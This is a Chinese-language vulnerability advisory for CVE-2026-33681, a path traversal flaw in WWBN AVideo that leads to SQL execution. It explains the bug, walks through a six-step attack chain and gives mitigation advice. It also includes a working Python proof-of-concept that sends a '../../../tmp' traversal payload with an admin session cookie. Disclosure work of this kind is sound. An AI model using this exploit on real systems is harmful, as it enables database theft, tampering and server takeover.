IPBUF安全漏洞报告
English
CVE-2026-33681 CVSS 7.2 高危

CVE-2026-33681 AVideo路径遍历致SQL执行漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-33681
漏洞类型
路径遍历与SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

路径遍历SQL注入远程代码执行AVideoCVE-2026-33681CSRF

漏洞概述

WWBN AVideo是一个广泛使用的开源视频平台。在26.0及以下版本中,系统存在严重的安全漏洞。具体而言,`objects/pluginRunDatabaseScript.json.php`接口在处理POST请求的`name`参数时,未对其进行充分的安全过滤,直接将其传递给`Plugin::getDatabaseFileName()`函数。这一缺陷允许经过身份验证的管理员(或通过跨站请求伪造CSRF诱骗管理员的攻击者)利用路径遍历技术(如`../`)跳出受限的插件目录。攻击者可以读取并执行文件系统上任意位置的`install/install.sql`文件内容,将其作为原始SQL查询在应用数据库上运行。该漏洞可能导致数据泄露、数据篡改甚至服务器被完全控制。

技术细节

该漏洞的根本原因是缺乏对用户输入路径的规范化校验。在受影响版本中,`objects/pluginRunDatabaseScript.json.php`脚本接收用户提交的`name`参数,该参数本意用于指定插件名称以运行相应的数据库脚本。然而,代码逻辑直接拼接路径并调用`Plugin::getDatabaseFileName()`,未对`../`等跳转字符进行清洗。攻击者可以构造包含路径遍历序列的Payload(例如`../../../var/www/html/uploads`),使得系统最终读取路径如`/var/www/html/uploads/install/install.sql`的文件。由于系统会无条件执行该SQL文件中的内容,如果攻击者能够控制文件系统上的文件(例如通过上传功能写入恶意SQL语句),即可在数据库上下文中执行任意SQL命令,实现SQL注入或数据写入。修复补丁(Commit 81b591c)通过引入路径验证机制,确保指定的路径必须在插件目录范围内,从而防止了目录逃逸攻击。

攻击链分析

STEP 1
侦察
识别目标为WWBN AVideo平台,且版本在26.0及以下。
STEP 2
获取权限
获取管理员账户凭据,或者诱导管理员点击恶意链接以利用CSRF漏洞。
STEP 3
文件准备
通过其他方式(如文件上传漏洞)在文件系统某处(如/tmp目录)写入包含恶意SQL语句的install/install.sql文件。
STEP 4
漏洞利用
向`objects/pluginRunDatabaseScript.json.php`发送POST请求,`name`参数使用路径遍历Payload(如`../../../tmp`)指向攻击者控制的目录。
STEP 5
执行SQL
后端脚本读取指定路径下的`install/install.sql`文件内容,并在数据库中执行。
STEP 6
达成目标
获取数据库敏感信息、篡改数据或进一步控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: AVideo Platform Path Traversal to SQL Execution # Description: PoC for CVE-2026-33681 # Note: Requires Admin credentials or valid session cookie def exploit(target_url, session_cookie, traversal_path): """ Attempts to execute an install.sql file from a traversed path. :param target_url: Base URL of the AVideo instance (e.g., http://localhost) :param session_cookie: Valid PHPSESSID for an admin user :param traversal_path: Path traversal sequence (e.g., '../../../tmp') """ url = f"{target_url}/objects/pluginRunDatabaseScript.json.php" # The 'name' parameter is vulnerable to path traversal # The application appends '/install/install.sql' to the provided name payload = { "name": traversal_path } headers = { "Cookie": f"PHPSESSID={session_cookie}" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") # Check for SQL execution success indicators (depends on app feedback) if "error" not in response.text.lower(): print("[+] Potential SQL execution successful.") else: print("[-] Server returned an error.") else: print(f"[-] Failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://avideo-example.com" # Assume attacker uploaded a malicious install.sql to /tmp via another method # Traversal path points to /tmp so it reads /tmp/install/install.sql path = "../../../tmp" cookie = "valid_admin_session_id_here" exploit(target, cookie, path)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
在未升级补丁前,建议通过Web应用防火墙(WAF)拦截包含`../`或路径遍历特征的请求,并暂时禁用该接口功能。同时,应加强对系统文件上传点的管控,防止攻击者上传恶意的`install.sql`文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表